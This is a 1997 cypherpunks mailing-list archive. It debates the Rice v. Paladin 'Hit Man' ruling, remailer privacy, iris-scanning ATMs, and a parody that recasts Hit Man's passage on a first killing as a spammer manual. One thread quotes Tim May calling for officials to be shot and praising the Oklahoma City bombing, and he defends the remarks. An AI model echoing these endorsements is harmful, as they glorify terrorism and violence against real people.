promotional description coupled with the singular character of Hit Man, which is so narrowly focused in its subject matter and presenta- tion as to be effectively targeted exclusively to criminals. In other words, despite the fact that Paladin may technically offer the book for sale to all comers, we are satisfied that a jury could, based upon Hit Man's seemingly exclusive purpose to assist murderers in the com- mission of murder, reasonably conclude that Paladin essentially dis- tributed Hit Man only to murderers and would-be murderers -- that its conduct was not, at least in law, different from that of a publisher (or anyone else) who delivered Hit Man to a specific person or group of persons whom the publisher knew to be interested in murder. And even Paladin effectively concedes that it could be liable were such a finding permissibly made. Paladin's Memorandum in Support of Summary Judgment at 33 n.24. A conclusion that Paladin directed Hit Man to a discrete group rather than to the public at large would be supported, even if not established, by the evidence that Hit Man is not generally available or sold to the public from the bookshelves of local bookstores, but, rather, is obtainable as a practical matter only by catalogue. Paladin Press is a mail order company, and for the most part does not sell books through retail outlets. In order to procure a copy of Hit Man, -----BEGIN PGP SIGNATURE----- Version: PGP for Personal Privacy 5.0 Charset: noconv iQCVAwUBNILllIVO4r4sgSPhAQGqWgP/b+lKC8zDwbhH+33KXZHW4URHajEXqqQK 93gBt0PM7syY9ywTFQ25FKT8+Wak/1zihvx6ymYwNBfH2e9AKROIJ8piJ01s+RFy Cpu0r8FxET7NSHqaKDVyWGtSEqkZjpHfJL7c+aDBAM4bclCE+6VTt/gWWcZoCGJA nwT+pHL+Go4= =3Ch8 -----END PGP SIGNATURE----- From nobody at REPLAY.COM Mon Dec 1 08:39:20 1997 From: nobody at REPLAY.COM (Anonymous) Date: Tue, 2 Dec 1997 00:39:20 +0800 Subject: Freemen and Serfs Message-ID: <199712011615.RAA06313@basement.replay.com> Tim May writes: > Nope. I haven't claimed anything about an elite group trading amongst > themselves. > > Rather, those who use the technology will make more money, and save more of > it, and will then be able to hire out those who failed to, and to buy stuff > made by them. How, exactly? We're not talking about computers as "the technology". We mean anonymous remailers, digital cash, Chaumian credentials, steganography, and other cypherpunk technologies. Who is using these technologies to make more money today? Almost no one. The reason is that the market is far too small. You can't put together a business plan and attract the investment needed if there are only a few hundred cypherpunks as customers. > We've been seeing this for a long time. Not a new concept. For example, > those of us who used our skills and investment inclinations to make a lot > of money are not condemned to "trading only with ourselves." We routinely > trade with others. Totally different. The point is not to trade, it is to do so anonymously and confidentially. You yourself are always whining about how you can't buy and sell your stocks privately, all your financial status being known to the state. Cypherpunk technologies are useless unless all parties to a transaction are using them. If even one party is subject to government or criminal surveillance then other participants will be forced to report the transaction as well. The only hope for these technologies is to spread the base of people using them. It doesn't do any good to use anonymous ecash if no one will accept it for payment. You can't make a living as a nym until there are enough people using these technologies that a business can succeed via anonymous contracting. It all depends on getting a critical mass of users. From tcmay at got.net Mon Dec 1 09:45:38 1997 From: tcmay at got.net (Tim May) Date: Tue, 2 Dec 1997 01:45:38 +0800 Subject: RICE v PALADIN ENTERPRISES In-Reply-To: <199711132216.QAA07981@dfw-ix2.ix.netcom.com> Message-ID: At 9:28 AM -0700 12/1/97, Duncan Frissell wrote: >The RICE v PALADIN ENTERPRISES decision is up (or part of it anyway): > >http://caselaw.findlaw.com/data2/circs/4th/962412p.html >Certainly, such a conclusion would be reasonable based upon this promotional >description coupled with the singular character of Hit Man, which is so >narrowly focused in its subject matter and presenta- tion as to be >effectively targeted exclusively to criminals. In other words, despite the >fact that Paladin may technically offer the book for sale to all comers, we >are satisfied that a jury could, based upon Hit Man's seemingly exclusive >purpose to assist murderers in the com- mission of murder, reasonably >conclude that Paladin essentially dis- tributed Hit Man only to murderers and >would-be murderers -- that its conduct was not, at least in law, different >from that of a publisher (or anyone else) who delivered Hit Man to a specific >person or group of persons whom the publisher knew to be interested in >murder. Perhaps this is the case. So? The publishers of the Hemlock Society books on suicide are obviously targetting their books to would-be suicides. So? The publishers of books about marijuana cultivation are obvious targetting their books to would-be marijuan cultivators. So? The list is long of books and pamphlets which are targetted almost solely to would-be perpetrators of activities deemed illegal. Beer production (violates various laws in most states), smuggling, perhaps even crypto (soon). The judges here in this case have no understanding of why the First Amendment was clear about "Congress shall make no law..." Imagine that the Founders had inserted language along the lines of "...unless the books and speech may be used to assist in the commission of crimes or may be harmful to children and other incapables." That would have ended the publishing of a vast number of books. I realize that the case here is not about prior restraint, but about civil damages. But, as I have pointed out here recently, even civil damages cases rest on "matters of law." Alice cannot sue Bob for damages done to her by, for example, Bob's opening of a rival store in her small town...even if it "forced" her into bankruptcy. Why? Becuase on a matter of law, Bob was committing no crime. (I'm not a lawyer, and some of you are. I'm just pointing this out to some list members who may have fallen for the popular misconception that "anyone can sue." Indeed, anyone may file a lawsuit. This doesn't mean it'll ever reach trial. Naturally, I support "loser pays" rules to cut down on the number of frivolous lawsuits.) >A conclusion that Paladin directed Hit Man to a discrete group rather than to >the public at large would be supported, even if not established, by the >evidence that Hit Man is not generally available or sold to the public from >the bookshelves of local bookstores, but, rather, is obtainable as a >practical matter only by catalogue. Paladin Press is a mail order company, >and for the most part does not sell books through retail outlets. In order to >procure a copy of Hit Man, Utter bullshit. A store in Santa Cruz which caters to the piercing and fetish crowd, "Annubis Warpus," had a whole series of Paladin Press books. I recall seeing "Hit Man," a fairly thin paperback (as most Paladin and Delta Press books are). As to why Barnes and Noble and Borders and Crown Books don't carry these books. Think: political correctness. And I've seen many, many Paladin books for sale at gun shows. I've even bought some. (Always better to pay with cash than to mail-order these books, as I expect someday the lists of purchasers of some of these books will be turned over to the Thought Police.) Blaming Paladin because some wimp-simp book buyer for Barnes and Noble said "ick!" when she saw the Paladin catalog is absurd. These judges need to be taught a lesson in what a free press is all about. --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From whgiii at invweb.net Mon Dec 1 10:00:09 1997 From: whgiii at invweb.net (William H. Geiger III) Date: Tue, 2 Dec 1997 02:00:09 +0800 Subject: RICE v PALADIN ENTERPRISES In-Reply-To: <3.0.2.32.19971201112809.036f79cc@panix.com> Message-ID: <199712011749.MAA27922@users.invweb.net> -----BEGIN PGP SIGNED MESSAGE----- In <3.0.2.32.19971201112809.036f79cc at panix.com>, on 12/01/97 at 11:28 AM, Duncan Frissell said: >A conclusion that Paladin directed Hit Man to a discrete group rather >than to the public at large would be supported, even if not established, >by the evidence that Hit Man is not generally available or sold to the >public from the bookshelves of local bookstores, but, rather, is >obtainable as a practical matter only by catalogue. Paladin Press is a >mail order company, and for the most part does not sell books through >retail outlets. In order to procure a copy of Hit Man, The logic in this conclusion is all wrong. The reason Hit Man, and other such "undrground" text, are not available on the local book stores is because the major publishing houses will not print them! Paladin Press is a mail order company because major retailers will not shelf the books that they print. I can hardly see Paladin turning down a 100,000 copy order from Barns & Nobel or Books-A-Million or any of the other major chains. I am quite sure that if one looks at the records of Paladin one will see that they sold their books to whomever wished to purchase them (after all thet is the business they are in). I can see it now the 1st Amendment only applies if you can sell a million copies of your words. - -- - --------------------------------------------------------------- William H. Geiger III http://users.invweb.net/~whgiii Geiger Consulting Cooking With Warp 4.0 Author of E-Secure - PGP Front End for MR/2 Ice PGP & MR/2 the only way for secure e-mail. OS/2 PGP 2.6.3a at: http://users.invweb.net/~whgiii/pgpmr2.html - --------------------------------------------------------------- -----BEGIN PGP SIGNATURE----- Version: 2.6.3a-sha1 Charset: cp850 Comment: Registered_User_E-Secure_v1.1b1_ES000000 iQCVAwUBNIL4a49Co1n+aLhhAQLEVwP+OTtNmi/A1Y//YxYLwjyGmD1QWqjmPB5U 5JRhD/kwxSvdSctmunDVta/jWNsdBpEubavex67zQ75/XEq99SJvp2BBBjN7H9bJ aEhmTcYN8jqodSzXeLmeNGBlyKVsA/vdMybPa+6Q2KkMWWMY0Y9pgWX8kk1K1sfF wjtywX/G04I= =uGPm -----END PGP SIGNATURE----- From owner-cypherpunks at toad.com Mon Dec 1 10:07:05 1997 From: owner-cypherpunks at toad.com (owner-cypherpunks at toad.com) Date: Tue, 2 Dec 1997 02:07:05 +0800 Subject: Another Anti-Privacy Bigot Heard From (was: The Guilmette/Burnore deba In-Reply-To: <65sbi0$enj$1@owl.slip.net> Message-ID: <2964c77a90e63d9384fa24a50eb9c955@anonymous.poster> Joe "We are Borg" Foster wrote: > > That was an impressive tantrum that you and Belinda just staged. I > > suppose you thought it would distract attention from the fact that > > you still refuse to reveal what your motive was for harassing Jeff > > Burchell this summer in a failed attempt to get him to turn over the > > logs containing the names and e-mail addresses of everyone who > > either sent or received an anonymous message through his remailer. > > Et tu, dumbass? Have you forgotten the existence of the "old" Deja News > database? That won't work for two reasons: First, Gary is now "cloaking" his posts with an "X-No-Archive" header to keep them from being archived by neutral parties such as DejaNews. In addition, if you do a search on his name as author in the old database, you get a bunch of matches that say "article not available", indicating that he's requested that such articles be removed from the archives. Second, how does one search for something that was never posted? The only thing I see in the Deja News archives is Jeff Burchell's explanation of Burnore's $cientology-esque attack on his remailer: -> Subject: Re: DataBasix vs. the Remailers -- Gary Burnore's -> Dirty Tricks Exposed (was: Jeff's Side of the Story.) -> From: toxic at hotwired.com (Jeff Burchell) -> Date: 1997/07/02 -> Message-ID: <5pc9mb$omg$1 at re.hotwired.com> -> -> [...] -> -> : > Mr. Burnore requested a copy of my (non-existant) logs. -> : > I told him to get me something in writing, signed by his lawyer that -> : > stipulated that the logs were confidential, and not to be revealed to -> : > anyone outside of the lawyer's office. -> : -> : He requested the logs of the messages of *EVERYONE* using Huge -> : Cajones? What was his rationale for such a fishing expedition? -> : (Cases like this are a good reason for remailers to NOT keep logs.) -> -> I have no idea of his rationale. And I don't know of any remailer -> operator who keeps logs that would identify a user. I had my machine -> configured to log in a fairly standard way, but I used a different -> sendmail configuration for the remailer, that had all logging (except -> for certain error conditions) turned off. -> -> Part of me thinks he wanted the logs so he could tell if I was going -> to be able to identify him when he started his attacks. Thus far, that's the best explanation I've seen for Gary Burnore's threats and harassment. > > If posts from "anon assholes" really offend your sensitive feelings, > > then you might want to stay away from most of the NGs where you've > > been posting your blather. SUGGESTION: stick with "safe" groups > > like comp.org.cauce where anonymous posts are banned and content is > > censo^h^h^h^h^hmoderated to ensure an appropriate level of political > > correctness. > > Posts from assholes definitely offend me, whether they're anon or not! True, but the chance that somone might be offensive is not sufficient reason to censor it. (If that were true, Usenet references to Whitewater might be declared "pornographic" by the Clinton administration.) Gary Burnore keeps whining about posts from "ANON assholes" not just "assholes" in general. That definitely reveals something about him. If he were to gripe about posts from "black assholes", one might (rightly) conclude that he was a racist. If he were flaming posts from "gay assholes", you'd probably figure that he was a homophobe, right? The fact that he doesn't flame the CONTENT but some characteristic about the author marks him as a bigot. > Well, if you really think about it, just about any news post might be > "anonymous". After all, how do you know that whoever typed all this is > really named "Joe Foster"? You don't! Remember "Mahmud al-Hijazi"? You've got a point there. I don't place much faith in what I see in the From: line, even if it appears to be a valid e-mail address. From sm at dev.null Mon Dec 1 10:29:20 1997 From: sm at dev.null (Spam Man) Date: Tue, 2 Dec 1997 02:29:20 +0800 Subject: Spammernomicon Message-ID: <3482FD71.3557@dev.null> Selected passages from Spam-Bot: A Technical Manual for Independent Spammers. It is my opinion that the professional spammer fills a need in society and is, at times, the only alternative for "personal" anonymity. Moreover, if my advice and the proven methods in this book are followed, certainly no one will ever discover your identity. Almost every man harbors a fantasy of living the life of Dimitri Vulis or some other fictional hero who spams for fun and profit. They dream of living by their knee-jerk reflexes, of doing whatever is necessary without regard to moral or legal restrictions. But few have the courage or knowledge to make that dream a reality. You might be like my friends -- interested but unsure, standing on the sidelines afraid to play the game because you don't know the rules. [But] within the pages of this book you will learn one of the most successful methods of remailer operation used by an independent spam-bot operator. You will follow the procedures of a man who works alone, without backing of organized crime or on a personal vendetta. Step by step you will be taken from research to equipment selection to job preparation to successful job completion. You will learn where to find employment, how much to charge, and what you can, and cannot, do with the money you earn. But deny your urge to skip about, looking for the "good" parts. Start where any amateur who is serious about turning professional will start -- at the beginning. [And when] [y]ou've read all the suggested material, you [will have] honed your mind, body and reflexes into a precision piece of spamming machinery. You [will have] assembled the necessary tools and learned to use them efficiently. Your knowledge of dealing spam [will have] increased to the point where you have a choice of methods. [After you spammed your first victim,] you felt absolutely nothing. And you are shocked by the nothingness. You had expected this moment to be a spectacular point in your life. You had wondered if you would feel compassion for the victim, immediate guilt, or even experience direct intervention by the hand of God. But you weren't even feeling sickened by the sight of the victim�s pathetic reply. After you have arrived home the events that took place take on a dreamlike quality. You don't dwell on them. You don't worry. You don't have nightmares. You don't fear ghosts. When thoughts of the hit go through your mind, it's almost as though you are recalling some show you saw on television. [E]verything seems to have changed. The people around you have suddenly become so aggravatingly ordinary. You start to view them as an irritating herd of pathetic sheep, doing as they are told, doing what is expected, following someone, anyone, blindly. You can't believe how dumb your friends have become, and your respect diminishes for people you once held in awe. You too have become different. You recognize that you made some mistakes, but you know what they were, and they will never plague you again. Next time (and you know there will be a next time), there will be no hesitation, no fear. Your experience in facing anti-spammers head-on has taught you about life. You have the power and ability to stand alone. You no longer need a reason to spam. From dlv at bwalk.dm.com Mon Dec 1 10:34:20 1997 From: dlv at bwalk.dm.com (Dr.Dimitri Vulis KOTM) Date: Tue, 2 Dec 1997 02:34:20 +0800 Subject: Stanford student "blacklisted" from jobs because of his Internet writings Message-ID: Here's a good argument for anonymity: New York Observer: November 24, 1997 Salomon Brothers Tattler Gets Famous on the Web by Tinker Spitz Tim Shields, a student at the Stanford Graduate School of Business, spent the summer working as an investment banking summer associate for Salomon Brothers. He didn't like it much. When he got back to Stanford, he wrote two articles about his experiences and published them in The Reporter, a business school publication. No harm done, right? Wrong. Now, through the magic of the Internet, all of Wall Street is aware of Mr. Shields' complaints. Overworked bankers, chained to their desks, often turn to their computers for entertainment to break up the tedium of creating shareholder profiles and whatever other dreary analyses their clients might demand of them. Lately, Mr. Shields' bitter article, making the rounds by e-mail, has been that entertainment. Mr. Shields was merciless in his depiction of Salomon Brothers and the people he encountered from other business schools. Here is a line that nicely sums up his impression of his summer: "The 38 members of my Investment Banking Summer Associate class represented a wide range of personality types, from the merely obnoxious to the moderately narcissistic to the overwhelmingly repugnant." He also makes Salomon Brothers chief executive Deryck Maughan look like either a hypocrite or a fool. In a meeting on Aug. 18 with the investment banking unit, Mr. Shields reports, Mr. Maughan said, "We have absolutely no reason to believe that we are a buyout target, nor that we will be in the near future." Only weeks later, Salomon Brothers was acquired by the Travelers Group Inc. Mr. Shields also remarked on the general climate at Salomon: He writes that a managing director at the firm told him, "Salomon Brothers is just not a culture where anyone says 'please' or 'thank you' or 'good job.'" And, according to the much e-mailed articles, one Salomon vice president told Mr. Shields, "You don't want this job. You really don't want this job. You get sucked in by the money and then find yourself trapped and miserable like I am. Don't be me." Salomon Brothers had no comment on the matter. The writer was at his most cutting in his assessment of his fellow summer associates, classifying them by school. Those from University of Pennsylvania's Wharton School were, in Mr. Shields' estimation, "boorish and dull, and interacting with them was like being locked in a room with a Bloomberg machine, except that the Bloomberg screen has two dimensions." Mr. Shields writes that he amused himself by needling the Columbia Business School students with his own feeling of Stanford superiority: "If I was in a truly nasty mood, I would follow up with a discussion hypothesizing on the quality-of-life differences between Palo Alto and Harlem. As you might guess, I wasn't too popular among the Columbia crowd." His take on those from Northwestern University's J.L. Kellogg Graduate School of Management? "Not the sharpest Ginsu knives in the set, they were as out of place on Wall Street as you might expect from people who'd spent the prior year intensely debating the merits of Dave Thomas appearing in person in the Wendy's commercials." About those from the Massachusetts Institute of Technology's Sloan School of Management, Mr. Shields writes, "I think I found Waldo. Every stereotype you ever heard about M.I.T. is true. These guys were such incredible weenies, brilliantly managing to combine both the brainpower and social grace of an HP 19B-II." And the Harvard Business School types? "Floating through the summer like Cinderella at the ball, they expected you to accept their jargon-laced drivel with the same attitude that Moses and his stone tablets received on Sinai." Mr. Shields' articles first drew the attention of Wall Street when they appeared in the on-line version of The Reporter. Someone an incensed first-year Salomon Brothers associate, according to a source downloaded them and attached the following message: "A Stanford student who did not receive an offer from Salomon Brothers was bold enough to put his name in print with these two articles. Maybe he doesn't want a job at all ..." Then the associate started e-mailing like crazy, sending the piece to job recruiters, among others, the source said. Mr. Shields' fame on the Web could not have come at a worse time. Now in the middle of on-campus job interviews, trying to parlay his $80,000 M.B.A. degree into a full-time job, Mr. Shields' only hope is that someone who may well have attended one of the schools he slagged is willing to hire a guy who went gleefully public with a nasty description of life with a previous employer. According to a friend of Mr. Shields, the e-mail has indeed come up in his first four interviews. "They seemed as though they were giving him a chance to explain himself," said the friend, "but when I talked to him, he hadn't heard yet whether he had gotten a call back which would be the ultimate test of whether they were willing to overlook it." Stanford is most certainly not standing behind its student. "That was a real silly thing for him to do, and not in any way appropriate," said George Parker, director of Stanford's M.B.A. program. "It's just arrogant." Other business students are aghast. "No one could believe that he would write this and not realize what the ramifications or consequences might be," said one. Mr. Shields would not comment for this article. People who know him said he's a nice guy despite his sharp edges. One friend, Giles Kavanagh, a Web site producer in New York, described Mr. Shields as "very ambitious" and "extraordinarily hard-working," adding, "He disguises his ambition." The son of a New York City police detective, Mr. Shields, now in his mid-20's, attended Regis High School (a Jesuit school on the Upper West Side) and received his undergraduate degree from the Wharton School of the University of Pennsylvania. Before going for his M.B.A. at Stanford in 1996, he spent three years in the financial division at J.P. Morgan & Company. "He's always had an interest in making money," Mr. Kavanagh said. But that may be more difficult now, since the e-mail has apparently fallen into the hands of recruiters. One anonymous friend said that, while Mr. Shields has decided that "investment banking wasn't really for him ... he still didn't mean to get himself blacklisted across Wall Street." The friend added that Mr. Shields is trying to get a job in either private client services, a field related to investment banking, or consulting. Given his bitterness, his ambition, his ability to turn a phrase, his lack of respect for authority and his willingness to squawk about people he has met, perhaps Mr. Shields should consider a career in the glorious field of journalism. ============================================================================= --- Dr.Dimitri Vulis KOTM Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps From nobody at REPLAY.COM Mon Dec 1 10:35:08 1997 From: nobody at REPLAY.COM (Anonymous) Date: Tue, 2 Dec 1997 02:35:08 +0800 Subject: Is Tim May guilty of illegally advocating revolution? Message-ID: <199712011825.TAA22548@basement.replay.com> Tim May writes: > At 11:33 PM -0700 11/29/97, Bill Stewart wrote: > > >As for the case of May vs. Reno, 99 US 666 (1999) (:-), I've never > >heard Tim call for the violent overthrow of the US government. > >He's called for a far more dangerous method of getting rid of it > >(rendering it obsolete and letting the public catch on at their own speed), > >and he's also expressed the position that if a bunch of > >black-hooded thugs invade his house some night he'll defend himself > >first and not worry about checking their bodies for stinkin' badges > >or designer logos on their backs until the bullets stop flying. > > > >Not guilty. > > An almost complete summary of my stance. > > But Bill left out the third leg of my tripod, that I expect to wake up some > morning and learn that some major city, perhaps Washington, D.C. has been > nuked or bugged. You've both forgotton the fourth leg of the tripod, the one where Tim May calls for the governor of Florida to be shot (along with other officials). Governor Chiles' capital crime? He refused to allow California wine to be sold in Florida. On Fri, 9 May 1997, Tim May wrote: > Chiles and his co-conspirators should be shot for high crimes against the > Constitution. After Clinton, Freeh, Kerrey, and the other traitors. Everyone likes to overlook this, pretending that May didn't mean it. Well, he never withdrew it, did he? He never apologized for it. He's on the record as explicitly calling for the murder of high officials. And of course May further revealed his true colors with this horror, from the same message: > Every day that passes, I'm more convinced that McVeigh did the right thing. > Some innocents died, but, hey, war is hell. Broken eggs and all that. May's apologists have tried to pretend that he didn't say this, that he said that he was beginning to understand McVeigh, or something. That's not what he says here. He says he is becoming convinced that McVeigh did the right thing in murdering all those people. He callously compares the shattered bodies of the children and other innocent victims to broken eggshells. Monty Cantsin has provided us a moving description of the painful deaths of the children in Waco. Will dying of asphyxiation under pressure too great even to draw a breath be any easier? Again, you will search the archives in vain to find any apology for this, any withdrawal. May hides behind the words of others, as he does above, hoping that their softened interpretations will make people forget the plain facts about what he wrote. If Tim May does not agree with the quotes above, let him say so now. From honig at otc.net Mon Dec 1 11:15:05 1997 From: honig at otc.net (David Honig) Date: Tue, 2 Dec 1997 03:15:05 +0800 Subject: At night, the ice weasels come... In-Reply-To: <34803754.42E5@dev.null> Message-ID: <3.0.5.32.19971201094034.007f2620@206.40.207.40> At 11:24 PM 11/29/97 EST, Dr.Dimitri Vulis KOTM wrote: >What will Cottrell do if someone uses his anonymizer(R)[TM] to connect to >someone's web server many times in a row, requesting the same pages, and >the admins of said server whine about "denial of service" attacks? > Is there any legal precident for charging someone with a crime related to DoS? With a crime related to HTTP-exploitation DoS? ------------------------------------------------------------ David Honig Orbit Technology honig at otc.net Intaanetto Jigyoubu Information is a dense, colorless, odorless material readily transmitted across empty space and arbitrary boundaries by shaking charged particles. From tcmay at got.net Mon Dec 1 11:23:47 1997 From: tcmay at got.net (Tim May) Date: Tue, 2 Dec 1997 03:23:47 +0800 Subject: Is Tim May guilty of illegally advocating revolution? In-Reply-To: <199712011825.TAA22548@basement.replay.com> Message-ID: At 11:25 AM -0700 12/1/97, Anonymous wrote: >You've both forgotton the fourth leg of the tripod, the one where Tim May >calls for the governor of Florida to be shot (along with other officials). >Governor Chiles' capital crime? He refused to allow California wine to >be sold in Florida. On Fri, 9 May 1997, Tim May wrote: > >> Chiles and his co-conspirators should be shot for high crimes against the >> Constitution. After Clinton, Freeh, Kerrey, and the other traitors. > >Everyone likes to overlook this, pretending that May didn't mean it. Well, >he never withdrew it, did he? He never apologized for it. He's on the >record as explicitly calling for the murder of high officials. Withdraw it? Apologize for it? I am free to call for the execution of anyone I damned well wish. OJ, McVeigh, the English nanny, Lawton Chiles, and so on. The First Amendment doesn't contain exceptions for such things. Sen. Jesse Helms was not prosecuted, nor even sanctioned by the Senate, for saying that if President Clinton ever visits Georgia he'd better be wearing a bulletproof vest. Face it, Anonymous, free speech means just that. Short of directly threatening the President or his family, or issuing direct (credible, proximate) threats to judges and perhaps some others, we as Americans are free to call for OJ to be taken out and have his throat cut, figuratively speaking, to call for trials for various criminals (including political criminals), and to speculate as we wish about whether the OKC bombing was a good thing or not. Get used to it, Anonymous, as it's the law. (More wimp simp jabbering elided....) >Again, you will search the archives in vain to find any apology for this, >any withdrawal. May hides behind the words of others, as he does above, >hoping that their softened interpretations will make people forget the >plain facts about what he wrote. > >If Tim May does not agree with the quotes above, let him say so now. Maybe I don't "withdraw" comments or "apologize" for them because I don't do either. Ever think of that, Anonymous halfwit? (Anonymity has certain aspects, good and bad. I notice, though, that an inordinate number of my critics are using "Anonymous." Probably just one frustrated do-gooder who can't stand the tenor of the list, but chooses to remain anonymous out of simpering fear.) I mean what I say and I say what I mean. Get used to it. Or leave, even better. --Tim May The Feds have shown their hand: they want a ban on domestic cryptography ---------:---------:---------:---------:---------:---------:---------:---- Timothy C. May | Crypto Anarchy: encryption, digital money, ComSec 3DES: 408-728-0152 | anonymous networks, digital pseudonyms, zero W.A.S.T.E.: Corralitos, CA | knowledge, reputations, information markets, Higher Power: 2^2,976,221 | black markets, collapse of governments. "National borders aren't even speed bumps on the information superhighway." From pooh at efga.org Mon Dec 1 11:24:22 1997 From: pooh at efga.org (Robert A. Costner) Date: Tue, 2 Dec 1997 03:24:22 +0800 Subject: RICE v PALADIN ENTERPRISES In-Reply-To: <3.0.2.32.19971201112809.036f79cc@panix.com> Message-ID: <3.0.3.32.19971201141528.037e8988@mail.atl.bellsouth.net> At 11:38 AM 12/1/97 -0600, William H. Geiger III wrote: >The reason Hit Man, and other such "undrground" text, are not available on >the local book stores is because the major publishing houses will not >print them! Paladin Press is a mail order company because major retailers >will not shelf the books that they print. I can hardly see Paladin turning >down a 100,000 copy order from Barns & Nobel or Books-A-Million or any of >the other major chains. I am quite sure that if one looks at the records >of Paladin one will see that they sold their books to whomever wished to >purchase them (after all thet is the business they are in). Barnes and Noble does in fact sell "Hit Man" for $10, the apparent list price. While a non stocked item, it can be special ordered and the delivery time is claimed to be four to six weeks (I've found that in practice about one week is usually required on special orders.) Ingram Books (wholesale) does not seem to carry Hit Man, but Amazon.com has it in stock for $8, delivery in two to four days. -- Robert Costner Phone: (770) 512-8746 Electronic Frontiers Georgia mailto:pooh at efga.org http://www.efga.org/ run PGP 5.0 for my public key From vin at shore.net Mon Dec 1 11:39:15 1997 From: vin at shore.net (Vin McLellan) Date: Tue, 2 Dec 1997 03:39:15 +0800 Subject: Big Brother Is Watching ATMs Message-ID: My apologies to Jonathan, the boyos in the Hills, and those watching for the Choppers. I wrote: |> Could you please identify this "bank card company" by name, card, nation, |>etc. ? The vendor, Sensar, Inc. is planning to unveil the system at the Banking Administration Institute's conference in New Orleans the day after tomorrow. The company's version of the product and its expected use is a little less conspiratorial than Jonathan's post to C'punks -- but it more than suffices to force me to eat crow for my scepticism and unwarranted sarcasm. >> IrisIdent is a biometric identification system that uses the unique >> patterns of the human iris to verify an individual's identity. Using a >> standard video camera, the system takes a picture of an individual's iris >> and compares it with a previously stored iris image. The result is a >>rapid >> validation of the individual's identity. With an empirically determined >> crossover error rate of less than 1 error in 131,578 transactions, iris >> identification is more reliable and less intrusive than fingerprinting or >> retinal scanning. Its security cannot be bypassed or compromised. >> Pilot systems are available on a limited basis, with full production >> scheduled for later in 1997. In addition, Sensar is planning to launch >> follow-on applications for a wide range of financial applications, >>such as >> new account openings, bank wire transfers and government services. >> Smart Camera is a future offering from Sensar. It will combine the same >> technology with a stand-alone (non-PC-based) camera to verify >> customer identification at point-of-sale locations, business >>workstations, >> and home computers. |> Without some explicit cite of a commercial entity -- or a reference to some |>"strip-'em-naked-with-electrons" Police R&D group like the guys at Rome AFB -- this |>report sounds like another of those ID-Implant fantasies circulated by the guys who |>are bolting steel plate to their screen doors and programming their backyard AA to |>auto-target (a) Black Helicopters (b) which are on low-level rapid approach (c) full |>Oriental, Arab, and Hispanic troopers (c) wearing Blue Helmets. The CNN news report (only a little less worrisome than Jonathan's post) is at: http://www.cnn.com/TECH/9711/30/eyeball.id.ap/index.html |> Or, with further checking, could you confirm that is this just another spicy |> rumor crafted to keep the boyos in the hills rubbing garlic into their hollow-points |> with proper militia enthusiasm? (Not that I don't enjoy a good tale to wake up |> sleepy Computer Science undergrads, mind you...) |> Up the Revolution, |> _Vin Jonathan Wienke warned us all: >I just heard that a bank card company has just released a program for using >photos of the iris in people's eyes as a biometric ID to replace people's >PIN codes for ATM / credit cards. What I found really interesting is how >they plan to implement it. As people use the ATM, they are photographed. >(Every ATM has a security camera.) Over time, as people use the ATM, the >security camera images are composited to produce a high-quality image of >their irises, which is coded and placed in their account information. Once >this is accomplished, when a card is inserted into the ATM and the security >camera gets an iris image that matches the account sufficiently closely, >the user can conduct transactions without entering the PIN code. People >affected by this will merely receive a letter that under certain >circumstances, entering the PIN is no longer necessary, but this is not a >security problem. > >This scenario may not be a security problem, but it certainly poses a >privacy problem. Given the frequency that the average Joe Sixpack uses the >ATM, it is only a matter of time before the government mandates a >nationwide eyeprint ID database to catch ATM and credit card theives, money >launderers, tax cheats, and other undesirables. Perhaps the eyeprint could >even replace or supplement the SSN as the unique taxpayer ID key for tax >and other purposes. Of course, given the fact that ATMs have had cameras >from the start, this theoretical eyeprint database could already be under >construction. How's that for paranoia? >:-( > >Of course, there are a few ways to beat this, such as mirror sunglasses, >(which would only be useful while alternative credentials to eyeprint ID >are still available) and contact lenses, (which would have to be carefully >oriented so that the same side of the lens was always up, or the fact that >you are wearing contacts and are therefore a Suspicious Person� would >become obvious to the system) and of course intraocular implants of various >types. Of course if the implant's power-on LED gives your eyes a constant >Satanic red glow, you may be flagged as a Suspicious Person� anyway. > >-----BEGIN PGP SIGNATURE----- >Version: PGP for Business Security 5.5 > Vin McLellan + The Privacy Guild + 53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548 -- <@><@> -- From ppomes at Qualcomm.com Mon Dec 1 12:07:43 1997 From: ppomes at Qualcomm.com (Paul Pomes) Date: Tue, 2 Dec 1997 04:07:43 +0800 Subject: Big Brother Is Watching ATMs In-Reply-To: Message-ID: <2367.881005036@zelkova.qualcomm.com> At 10:50 EST on Monday, December 1, 1997, Vin McLellan wrote: |G'day Jonathan, | | Could you please identify this "bank card company" by name, card, |nation, etc. ? You *could* read the newspaper... /pbp ==== Body Parts May Become a Way To Identify ATM Customers By GORDON FAIRCLOUGH Staff Reporter of THE WALL STREET JOURNAL Thomas J. Drury walks up to the automated-teller machine in his suburban office and swipes his bank card. Instead of punching in a secret code, however, he stares straight ahead. The machine verifies his identity by looking at his eyes. If Mr. Drury, chief executive officer of Sensar Corp., and his colleagues have their way, this eye-scanning technology will become standard equipment on ATMs around the world. It is being tested by NCR Corp. and Citicorp, among others. [...] From ichudov at www.video-collage.com Mon Dec 1 13:25:10 1997 From: ichudov at www.video-collage.com (Igor Chudov @ home) Date: Tue, 2 Dec 1997 05:25:10 +0800 Subject: More Government Sanctioned Theft In-Reply-To: <65k64e$coq@snews3.zippo.com> Message-ID: [This message has also been posted.] In ok.general, Jerry Morgan wrote: * easttom at redriverok.com (Chuck Easttom) wrote: * > 2. What the hell legit reason is there for a man to be driving around with * >132 K in a truck?? * > * * The simple possession of any amount of money is not subject to "police * approval", unless of course we are living in a police state. * * As I understand the "story" the police stopped the guy, searched the * car, found the money, seized it and then let the guy go without * charging him with anything. A nice cool 132K profit for a few minutes * work, just like an armed robbery. It would appear that this "cops and * robbers scenario" has the cops playing both roles.S ... ... ... * tactics will have 132K for new police equipment. Too bad they won't * use it to buy copies of the U.S. Constitution for their officers to * read, but after all they wouldn't want them getting any *wrong ideas* That would be a "hate crime". According to a message in the cypherpunks mailing list (which I unfortunately deleted, with references to more details on some websites), there was a conference on "hate crimes" recently. There, they discussed "profiles" and signs of "hate crimes", and among signs there were discussions of the constitution and founding fathers. If someone has 